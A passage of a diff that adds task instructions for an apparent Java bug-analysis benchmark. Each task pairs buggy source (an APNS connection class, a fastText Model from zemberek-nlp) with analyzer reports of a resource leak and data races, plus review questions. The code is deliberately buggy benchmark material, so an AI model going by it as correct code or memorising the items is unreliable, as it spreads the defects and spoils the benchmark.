+            testConnection = new ApnsConnectionImpl(factory, host, port, proxy, reconnectPolicy.copy(), delegate);
+            testConnection.sendMessage(new SimpleApnsNotification(new byte[]{0}, new byte[]{0}));
+        } finally {
+            if (testConnection != null) {
+                testConnection.close();
+            }
+        }
+    }
+
+    public void setCacheLength(int cacheLength) {
+        this.cacheLength = cacheLength;
+    }
+
+    public int getCacheLength() {
+        return cacheLength;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.net.Socket` acquired by call to `new()` at line 210 is not released after line 222.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Socket ApnsConnectionImpl.socket()
+
+### Procedure Id:
+com.notnoop.apns.internal.ApnsConnectionImpl.socket():java.net.Socket.a138b65e6aa79efe703468c951cc43cc
+
+### File:
+src/main/java/com/notnoop/apns/internal/ApnsConnectionImpl.java
+
+### Key:
+ApnsConnectionImpl.java|socket|RESOURCE_LEAK
+
+### Node Key:
+53a5b11fd6ccc7e244ddc8e893bdc553
+
+### Hash:
+534efb82ff63844d8410c77f043f375b
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9880/instruction.md b/inferredbugs-9880/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..384ba07001cc50bacaf8227b6dac4401c9617022
--- /dev/null
+++ b/inferredbugs-9880/instruction.md
@@ -0,0 +1,449 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            // descending.
+            return Float.compare(o.first, first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    private float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * ((label ? 1f : 0f) - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    private float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    private float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    private void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    private void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    private float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    private void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    private static final Comparator<Pair> PAIR_COMPARATOR =
+            (l, r) -> l.first > r.first ? 1 : 0;
+
+    List<Pair> predict(int[] input,
+                 int k,
+                 Vector hidden,
+                 Vector output) {
+        assert (k > 0);
+        computeHidden(input, hidden);
+        PriorityQueue<Pair> heap = new PriorityQueue<>(k+1, PAIR_COMPARATOR);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        List<Pair> result = new ArrayList<>(heap);
+        Collections.sort(result);
+        return  result;
+    }
+
+    List<Pair> predict(int[] input, int k) {
+        return predict(input, k, hidden_, output_);
+    }
+
+    private void findKBest(int k,
+                           PriorityQueue<Pair> heap,
+                           Vector hidden,
+                           Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    private void dfs(int k,
+                     int node,
+                     float score,
+                     PriorityQueue<Pair> heap,
+                     Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+    private void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    private int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    private void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    private static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    private static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    private float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    private float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `zemberek.embedding.fasttext.Model.update` reads without synchronization from `this.zemberek.embedding.fasttext.Model.loss_`. Potentially races with write in method `Model.update(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Model.update(int[],int,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.update(int[],int,float):void.49e2c20141a9f555936abeccf294c2e6
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|update|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8bab92d9cd8ab9494c6ef43d58e7b09e
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9881/instruction.md b/inferredbugs-9881/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..543d9c542340109b1ea1b6103263b7b2ff5ced67
--- /dev/null
+++ b/inferredbugs-9881/instruction.md
@@ -0,0 +1,449 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            // descending.
+            return Float.compare(o.first, first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    private float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * ((label ? 1f : 0f) - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    private float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    private float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    private void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    private void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    private float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    private void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    private static final Comparator<Pair> PAIR_COMPARATOR =
+            (l, r) -> l.first > r.first ? 1 : 0;
+
+    List<Pair> predict(int[] input,
+                 int k,
+                 Vector hidden,
+                 Vector output) {
+        assert (k > 0);
+        computeHidden(input, hidden);
+        PriorityQueue<Pair> heap = new PriorityQueue<>(k+1, PAIR_COMPARATOR);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        List<Pair> result = new ArrayList<>(heap);
+        Collections.sort(result);
+        return  result;
+    }
+
+    List<Pair> predict(int[] input, int k) {
+        return predict(input, k, hidden_, output_);
+    }
+
+    private void findKBest(int k,
+                           PriorityQueue<Pair> heap,
+                           Vector hidden,
+                           Vector output) {
+        computeOutputSoftmax(hidden, output);
+        for (int i = 0; i < osz_; i++) {
+            if (heap.size() == k && log(output.data_[i]) < heap.peek().first) {
+                continue;
+            }
+            heap.add(new Pair(output.data_[i], i));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+        }
+    }
+
+    //todo: check here.
+    private void dfs(int k,
+                     int node,
+                     float score,
+                     PriorityQueue<Pair> heap,
+                     Vector hidden) {
+        if (heap.size() == k && score < heap.peek().first) {
+            return;
+        }
+
+        if (tree[node].left == -1 && tree[node].right == -1) {
+            heap.add(new Pair(score, node));
+            if (heap.size() > k) {
+                heap.remove();
+            }
+            return;
+        }
+
+        float f = sigmoid(wo_.dotRow(hidden, node - osz_));
+        dfs(k, tree[node].left, score + log(1.0f - f), heap, hidden);
+        dfs(k, tree[node].right, score + log(f), heap, hidden);
+    }
+
+
+    void update(int[] input, int target, float lr) {
+        assert (target >= 0);
+        assert (target < osz_);
+        if (input.length == 0) return;
+        computeHidden(input, hidden_);
+        if (args_.loss == Args.loss_name.ns) {
+            loss_ += negativeSampling(target, lr);
+        } else if (args_.loss == Args.loss_name.hs) {
+            loss_ += hierarchicalSoftmax(target, lr);
+        } else {
+            loss_ += softmax(target, lr);
+        }
+        nexamples_ += 1;
+
+        if (args_.model == Args.model_name.sup) {
+            grad_.mul(1.0f / input.length);
+        }
+        synchronized (this) {
+            for (int i : input) {
+                wi_.addRow(grad_, i, 1.0f);
+            }
+        }
+    }
+
+    void setTargetCounts(long[] counts) {
+        assert (counts.length == osz_);
+        if (args_.loss == Args.loss_name.ns) {
+            initTableNegatives(counts);
+        }
+        if (args_.loss == Args.loss_name.hs) {
+            buildTree(counts);
+        }
+    }
+
+    private void initTableNegatives(long[] counts) {
+        IntVector vec = new IntVector(counts.length*10);
+        float z = 0.0f;
+        for (long count : counts) {
+            z += (float) Math.pow(count, 0.5);
+        }
+        for (int i = 0; i < counts.length; i++) {
+            float c = (float) Math.pow(counts[i], 0.5);
+            for (int j = 0; j < c * NEGATIVE_TABLE_SIZE / z; j++) {
+                vec.add(i);
+            }
+        }
+        vec.shuffle(random);
+        negatives = vec.copyOf();
+    }
+
+    private int getNegative(int target) {
+        int negative;
+        do {
+            negative = negatives[negpos];
+            negpos = (negpos + 1) % negatives.length;
+        } while (target == negative);
+        return negative;
+    }
+
+    private void buildTree(long[] counts) {
+        tree = new Node[2 * osz_ - 1];
+        for (int i = 0; i < 2 * osz_ - 1; i++) {
+            tree[i].parent = -1;
+            tree[i].left = -1;
+            tree[i].right = -1;
+            tree[i].count = (long) 1e15;
+            tree[i].binary = false;
+        }
+        for (int i = 0; i < osz_; i++) {
+            tree[i].count = counts[i];
+        }
+        int leaf = osz_ - 1;
+        int node = osz_;
+        for (int i = osz_; i < 2 * osz_ - 1; i++) {
+            int[] mini = new int[2];
+            for (int j = 0; j < 2; j++) {
+                if (leaf >= 0 && tree[leaf].count < tree[node].count) {
+                    mini[j] = leaf--;
+                } else {
+                    mini[j] = node++;
+                }
+            }
+            tree[i].left = mini[0];
+            tree[i].right = mini[1];
+            tree[i].count = tree[mini[0]].count + tree[mini[1]].count;
+            tree[mini[0]].parent = i;
+            tree[mini[1]].parent = i;
+            tree[mini[1]].binary = true;
+        }
+        for (int i = 0; i < osz_; i++) {
+            IntVector path = new IntVector();
+            IntVector code = new IntVector();
+            int j = i;
+            while (tree[j].parent != -1) {
+                path.add(tree[j].parent - osz_);
+                code.add(tree[j].binary ? 1 : 0);
+                j = tree[j].parent;
+            }
+            paths.add(path);
+            codes.add(code);
+        }
+    }
+
+    float getLoss() {
+        return loss_ / nexamples_;
+    }
+
+    private static void initSigmoid() {
+        t_sigmoid = new float[SIGMOID_TABLE_SIZE + 1];
+        for (int i = 0; i < SIGMOID_TABLE_SIZE + 1; i++) {
+            float x = i * 2f * MAX_SIGMOID / SIGMOID_TABLE_SIZE - MAX_SIGMOID;
+            t_sigmoid[i] = 1.0f / (1.0f + (float) Math.exp(-x));
+        }
+    }
+
+    private static void initLog() {
+        t_log = new float[LOG_TABLE_SIZE + 1];
+        for (int i = 0; i < LOG_TABLE_SIZE + 1; i++) {
+            float x = (i + 1e-5f) / LOG_TABLE_SIZE;
+            t_log[i] = (float) Math.log(x);
+        }
+    }
+
+    private float log(float x) {
+        if (x > 1.0f) {
+            return 0.0f;
+        }
+        int i = (int) (x * LOG_TABLE_SIZE);
+        return t_log[i];
+    }
+
+    private float sigmoid(float x) {
+        if (x < -MAX_SIGMOID) {
+            return 0.0f;
+        } else if (x > MAX_SIGMOID) {
+            return 1.0f;
+        } else {
+            int i = (int) ((x + MAX_SIGMOID) * SIGMOID_TABLE_SIZE / MAX_SIGMOID / 2);
+            return t_sigmoid[i];
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `zemberek.embedding.fasttext.Model.update` writes to field `this.zemberek.embedding.fasttext.Model.loss_` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Model.update(int[],int,float)
+
+### Procedure Id:
+zemberek.embedding.fasttext.Model.update(int[],int,float):void.49e2c20141a9f555936abeccf294c2e6
+
+### File:
+experiment/src/main/java/zemberek/embedding/fasttext/Model.java
+
+### Key:
+Model.java|update|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e31424531b3de3ef8c99f701dd90eb42
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9886/instruction.md b/inferredbugs-9886/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..26593f6c0ce7352a2f2c0667b2671aff0cf626a2
--- /dev/null
+++ b/inferredbugs-9886/instruction.md
@@ -0,0 +1,449 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** zemberek-nlp
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package zemberek.embedding.fasttext;
+
+import zemberek.core.collections.IntVector;
+
+import java.util.*;
+
+public class Model {
+
+    static class Node {
+        int parent;
+        int left;
+        int right;
+        long count; // TODO: this can be an int.
+        boolean binary;
+    }
+
+    static class Pair implements Comparable<Pair> {
+
+        final float first;
+        final int second;
+
+        Pair(float first, int second) {
+            this.first = first;
+            this.second = second;
+        }
+
+        @Override
+        public int compareTo(Pair o) {
+            // descending.
+            return Float.compare(o.first, first);
+        }
+    }
+
+    private Matrix wi_;
+    private Matrix wo_;
+    private Args args_;
+    private Vector hidden_;
+    private Vector output_;
+    private Vector grad_;
+    private int hsz_;
+    private int isz_;
+    private int osz_;
+    private float loss_;
+    private long nexamples_;
+    private static float[] t_sigmoid;
+    private static float[] t_log;
+    // used for negative sampling:
+    private int[] negatives;
+    private int negpos;
+    // used for hierarchical softmax:
+    private List<IntVector> paths = new ArrayList<>();
+    private List<IntVector> codes = new ArrayList<>();
+    private Node[] tree;
+
+    private static final int NEGATIVE_TABLE_SIZE = 10000000;
+
+    private static final int SIGMOID_TABLE_SIZE = 512;
+    private static final int MAX_SIGMOID = 8;
+    private static final int LOG_TABLE_SIZE = 512;
+
+    Random random;
+
+    static {
+        initLog();
+        initSigmoid();
+    }
+
+    Model(Matrix wi,
+          Matrix wo,
+          Args args,
+          int seed) {
+        hidden_ = new Vector(args.dim);
+        output_ = new Vector(wo.m_);
+        grad_ = new Vector(args.dim);
+        random = new Random(seed);
+        wi_ = wi;
+        wo_ = wo;
+        args_ = args;
+        isz_ = wi.m_;
+        osz_ = wo.m_;
+        hsz_ = args.dim;
+        negpos = 0;
+        loss_ = 0.0f;
+        nexamples_ = 1;
+    }
+
+    private float binaryLogistic(int target, boolean label, float lr) {
+        float score = sigmoid(wo_.dotRow(hidden_, target));
+        float alpha = lr * ((label ? 1f : 0f) - score);
+        grad_.addRow(wo_, target, alpha);
+        synchronized (this) {
+            wo_.addRow(hidden_, target, alpha);
+        }
+        if (label) {
+            return -log(score);
+        } else {
+            return -log(1.0f - score);
+        }
+    }
+
+    private float negativeSampling(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        for (int n = 0; n <= args_.neg; n++) {
+            if (n == 0) {
+                loss += binaryLogistic(target, true, lr);
+            } else {
+                loss += binaryLogistic(getNegative(target), false, lr);
+            }
+        }
+        return loss;
+    }
+
+
+    private float hierarchicalSoftmax(int target, float lr) {
+        float loss = 0.0f;
+        grad_.zero();
+        IntVector binaryCode = codes.get(target);
+        IntVector pathToRoot = paths.get(target);
+        for (int i = 0; i < pathToRoot.size(); i++) {
+            loss += binaryLogistic(pathToRoot.get(i), binaryCode.get(i) == 1, lr);
+        }
+        return loss;
+    }
+
+    private void computeOutputSoftmax(Vector hidden, Vector output) {
+        output.mul(wo_, hidden);
+        float max = output.data_[0], z = 0.0f;
+        for (int i = 0; i < osz_; i++) {
+            max = Math.max(output.data_[i], max);
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] = (float) Math.exp(output.data_[i] - max);
+            z += output.data_[i];
+        }
+        for (int i = 0; i < osz_; i++) {
+            output.data_[i] /= z;
+        }
+    }
+
+    private void computeOutputSoftmax() {
+        computeOutputSoftmax(hidden_, output_);
+    }
+
+    private float softmax(int target, float lr) {
+        grad_.zero();
+        computeOutputSoftmax();
+        for (int i = 0; i < osz_; i++) {
+            float label = (i == target) ? 1.0f : 0.0f;
+            float alpha = lr * (label - output_.data_[i]);
+            grad_.addRow(wo_, i, alpha);
+            synchronized (this) {
+                wo_.addRow(hidden_, i, alpha);
+            }
+        }
+        return -log(output_.data_[target]);
+    }
+
+    private void computeHidden(int[] input, Vector hidden) {
+        assert (hidden.size() == hsz_);
+        hidden.zero();
+        for (int i : input) {
+            hidden.addRow(wi_, i);
+        }
+        hidden.mul(1.0f / input.length);
+    }
+
+
+    private static final Comparator<Pair> PAIR_COMPARATOR =
+            (l, r) -> l.first > r.first ? 1 : 0;
+
+    List<Pair> predict(int[] input,
+                 int k,
+                 Vector hidden,
+                 Vector output) {
+        assert (k > 0);
+        computeHidden(input, hidden);
+        PriorityQueue<Pair> heap = new PriorityQueue<>(k+1, PAIR_COMPARATOR);
+        if (args_.loss == Args.loss_name.hs) {
+            dfs(k, 2 * osz_ - 2, 0.0f, heap, hidden);
+        } else {
+            findKBest(k, heap, hidden, output);
+        }
+        List<Pair> result = new ArrayList<>(heap);
+        Collections.sort(result);
+        return  result;
+    }
+
+    List<Pair> predict(int[] input, int k) {
+        return predict(input, k, hidden_, output_);
+    }
+
+    private void findKBest(int k,
+                           PriorityQueue<Pair> heap,
+                           Vector hidden,
